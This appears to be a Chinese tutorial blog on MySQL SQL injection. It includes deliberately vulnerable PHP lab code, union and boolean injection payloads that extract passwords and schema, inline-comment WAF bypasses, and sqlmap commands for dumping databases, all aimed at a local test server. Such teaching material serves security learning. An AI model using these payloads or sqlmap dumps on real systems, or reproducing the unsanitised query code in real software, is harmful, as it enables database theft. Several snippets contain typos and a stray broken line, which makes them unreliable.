SQL注入就是指Web应用程序对用户输入数据的合法性没有判断,前端传入后端的参数是可控的,并且参数带入数据库查询,攻击者可以通过构造不同的SQL语句来实现对数据库的任意操作。
SQL注入漏洞的产生需要满足的条件:
1,参数用户可控:前端传给后端的参数内容是用户可以控制的。
2,参数带入数据库查询时:传入参数拼接到SQL语句,且带入数据库查询。
与MySQL注入的相关知识点
mysql介绍
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | mysql 中 库,表,数据三者的关系  
 表:    在数据库中,表(table)类似于excel,用来存放数据,表中有字段,不同的字段有不同的数据类型。
 
    字段:类似excel表头
 
 数据: 有不同的存在形式:文本视频,图片,音频,文本等
 
  数据类型:字符串(var)(varchar)  整数(int,bright)小数(float) 日期(date)等
 
 库:    用来存放表的,可以存放n张表
 
 | 
增删检改
| 12
 3
 4
 5
 6
 7
 8
 
 | 创建一个数据库  CREATE DATABASE 库名;删除数据库    DROP DATABASE 库名;
 在创建库时,指定编码  create database 库名 character set 编码名
 
 
 创建表(table)    create table 表名(字段1 数据类型,字段2,数据类型)
 例:create table 成绩表( 姓名 varchar(40),班级 varchar(20), 成绩表 float   );
 删除表 DROP table 表名;
 
 | 
往指定的表中添加数据:
| 12
 3
 4
 5
 
 | insert into 表名(字段1,字段2,......)  values(值1,值2....)
 insert into `成绩表`(姓名,班级,成绩)values(`老王` ,`dt55`,90.5)
 
 insert into 成绩表(姓名)values(老王);
 
 | 
第二种语法:
| 12
 3
 4
 5
 6
 7
 
 | insert into 表名 set 字段名1=自动值1,字段名2=字段值2...
 insert into `成绩表` SET   姓名=`李四`;
 
 删除数据语法:delete from 表名 where 条件
 
 delete from `成绩表` where 姓名=`李四`;
 
 | 
注释符
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | mysql注释符
 1、#...
 
 2、"-- ..."  相当于--+
 
 3、/*...*/
 
 4,内联注释:只有Mysql可以识别,常用来绕过WAF
 内联注释可以被执行/*!  */ 内联注释可以用于整个SQL语句中,用来执行我们的SQL语句
 例:?id=1 /*!union*/ /*!SELECT*/ 1,2,3
 
 | 
MySQL总表
在Mysql5.0版本之后,MySQL默认在数据库中存放一个“information——schema”的数据库,mysql数据库的所有内容都在这个库里,需要记住三个表名,分别为SCHEMATA,该表存放用户建立的所有数据库的哭名。

TABLES表存储用户创建的所有数据库的库名和表名。
COLUMNS表存储用户创建的所有数据库的额库名,表名和字段名。
MySQL查询语句
在不知道任何条件下,可用:
| 12
 
 | select 要查询的字段名 from 库名.表名//数据库.表名 可以查询指定数据库的指定表
 
 | 
在知道一条已知条件下,可有:
| 1
 | select 要查询的字段名 from 库名.表名 where 已知条件的字段名=‘已知条件的值’
 | 
在知道两条已知条件时,可用:
| 1
 | select 要查询的字段名 from 库名.表名 where 已知条件1的字段名=‘已知条件1的值’ AND  已知条件2的字段名=‘已知条件2的值’
 | 


limit的用法
limit的使用格式为limitm,n,其中m是指记录开始的位置,n是指取几条记录。

sql函数
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | AIISC函数     ascii()#括号中的参数转化成相应的ascii码          例:select ascii('a')#输出结果为97
 
 substr函数      substr(a,b,c)   从b位置开始,截取字符串a的c函数
             select assii('cxk',1,1) 返回c
 
 sleep函数       sleep(5) 休眠5秒
                and if (1<2,sleep(5),0)--+
           从语句可以知道如果给第一个select执行成功,那么将会执行sleep(5)进行五秒的休眠
 
 | 
Union注入攻击
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpheader("Content-Type: text/html;charset=utf-8");
 $server = "127.0.0.1";
 $username = "root";
 $passwd = "root";
 $dbname = "xiaoming";
 $conn = new mysqli($server,$username,$passwd,$dbname);
 if ($conn->connect_error<>0){
 die("Error".$conn->connect_error);
 }
 $id = $_GET['id'];
 $data = $conn->query("select * from good where id=".$id);
 $result= $data->fetch_array(MYSQL_ASSOC);
 echo $result['username'];
 echo $result['password'];
 ?>
 
 | 

判断是否存在注入点
| 12
 3
 4
 5
 6
 7
 8
 
 | 通过在url中修改对应的id值,为正常数字,大数字,字符(单引号,双引号,双单引号,括号),反斜杠\来探测url中是否存在注入点。
 1,加入单引号‘ 提交
 结果:如果出现错误提示,则该网站可能存在注入漏洞
 
 2 加入字段提交
 语句:and 1=1;and 1=2;
 结果:分别返回不同的页面,说明存在注入漏洞
 
 | 


由此可知,我们编写的数据库存在sql注入漏洞。
order by 判断字段数量
我们已经得到该网站可能存在SQL注入漏洞的结论,接着使用order by 1-99语句查询该数据表的字段数量。如访问id=1 order by 3,页面返回与id=1相同的结果,访问id=4,页面返回与id不同的结果,则字符段为3.
我们还可以使用order by 1,2,3,order by 1,2,3,4 返回不同的页面,则字符断为3.


联合查询判断注入点
我们已经知道一共有三个字段,当id=1时,能够成功执行,则不会返回union select的语句,当id=-1时,服务器会返回union select的结果,可以看到,我们可以查询第二个字段和第三个字段。

union查询也可以获得当前数据库

获得当前数据库的第一个表名
| 1
 | ?id=-1+union+select+1,(select+password+from+xiaoming.good+where+id=1),3
 | 

获取表名当中的字段名
| 1
 | ?id=-1+union+select+1,(select+column_name+from+information_schema.colimns+where+table_schema='xiaoming'+and+tablename='good'+limit+1,1),3
 | 
查询第一个字段

查询第二个字段

Boolean注入攻击
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 
 | <?phpheader("Content-Type: text/html;charset=utf-8");
 $server = "127.0.0.1";
 $username = "root";
 $passwd = "root";
 $dbname = "xiaoming";
 $conn = new mysqli($server,$username,$passwd,$dbname);
 if ($conn->connect_error<>0){
 die("Error".$conn->connect_error);
 }
 $id = $_GET['id'];
 column_name from information_schema.columns where table_schema='xiaoming' and table_name='good' limit 1,1),3");
 if(preg_match("/union|sleep|benchmark/i",$id))
 {exit("no");
 }
 $data = $conn->query("select * from good where id=".$id);
 $row= $data->fetch_array(MYSQL_ASSOC);
 if($row){
 exit("yes");
 }else{
 exit("no");
 }
 ?>
 
 | 
分析代码可知,页面只返回yes和no,而没有返回数据库里面的数据,所有不能使用union注入。
可以尝试Boolean注入。Boolean注入是指构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。
访问id=1 and 1=2 返回no,访问id=1 and 1=1 返回yes,由此可以判断,可以尝试利用Boolean注入构造SQL判断语句,通过查看页面的返回结果来推测哪些SQL判断条件是成立的。
查询判断数据库的长度


可知,数据库的长度为8。
利用substr判断数据库的库名


我们可以利用Burp爆破数据库中的库名,同理,我们也可以利用burp爆破数据库中的表名。
| 1
 | 1 and ord(substr((select table_name from information_schema.tables where table_schema='xiaoming' limit 0,1),1,1))=105
 | 
SQLMap是一个自动化的SQL注入工具,其主要功能是扫描,发现并利用给定的URL的SQL注入漏洞。
sqlmap参数
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 
 | –is-dba 当前用户权限(是否为root权限)-db database
 –dbs 所有数据库
 –current-db 网站当前数据库
 –users 所有数据库用户
 –current-user 当前数据库用户
 –random-agent 构造随机user-agent
 –passwords 数据库密码
 –tables  -T 指定表名
 -D 列出指定数据库的表
 --columns 获取列
 --count 获取有几行数据
 -C 读取数据(例如-C “username,password”)
 --dump 导出数据
 --level5:探测等级
 --roles:列出数据库管理员角色
 -sql-shell:运行自定义SQL语句
 -file-read:从数据库服务器中读取文件
 
 
 --referer:HTTP Referer头  (-r REQUESTFILE 从一个文件中载入HTTP请求。)
 SQL可以在请求中伪造HTTP的referer,当--level参数设定为3或者3以上时,会尝试对referer注入。可以使用referer命令来欺骗,如--referer http://www.baidu.com
 
 -p TESTPARAMETER 可注入的参数
 –proxy http://local:8080 –threads 10 (可以自定义线程加速) 代理
 –time-sec=TIMESEC DBMS响应的延迟时间(默认为5秒)
 
 –data
 data后面的数据是以POST方式提交,sqlmap会像检测GET参数一样检测POST提交过去的参数
 sqlmap -u “http://192.168.120.249/baji/login.php” --data=“username=111111&password=111111”
 
 | 
判断是否存在注入
利用下列代码进行演示
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 
 | <?phpheader("Content-Type: text/html;charset=utf-8");
 $server = "127.0.0.1";
 $username = "root";
 $passwd = "root";
 $dbname = "xiaoming";
 $conn = new mysqli($server,$username,$passwd,$dbname);
 if ($conn->connect_error<>0){
 die("Error".$conn->connect_error);
 }
 $id = $_GET['id'];
 $data = $conn->query("select * from good where id=".$id);
 $result= $data->fetch_array(MYSQL_ASSOC);
 echo $result['username'];
 echo $result['password'];
 ?>
 
 | 


当注入点后面的参数大于等于两个时,需要加双引号
| 1
 | python sqlmap.py -u http://127.0.0.1/sql1.php?id=1&uid=2
 | 
判断文本当中的请求是否存在注入
| 12
 3
 4
 5
 6
 7
 8
 9
 
 | GET /sql1.php?id=1 HTTP/1.1Host: 127.0.0.1
 User-Agent: bilibili Security Browser
 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
 Accept-Encoding: gzip, deflate
 Connection: close
 Upgrade-Insecure-Requests: 1
 Cache-Control: max-age=0
 
 | 
将该HTTP请求保存为1.txt

查询当前用户下的所有数据库
| 1
 | sqlmap.py -u http://127.0.0.1/sql1.php?id=1 --dbs
 | 
查询当前所在的数据库
| 1
 | python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" --current-db
 | 

使用sqlmap查询当前数据库中的表名
| 1
 | python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 当前数据库名 --tables 
 | 
获取表中的字段名
| 1
 | python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 --columns
 | 
获取字段内容
| 1
 | python sqlmap.py sqlmap -u "http://127.0.0.1/sql.php?id=1" -D 数据库名 -T 表名 -C 字段名,字段名 --dump
 | 
为方便理解,在代码中加了换行。
发现只有当查询语句只返回一个字符串(值)才有正常的回显。

| 1
 | ?id=-1+union+select+1,(select+table_name+from+information_schema.tables+where+table_schema='xiaoming'+limit+0,1),3
 | 
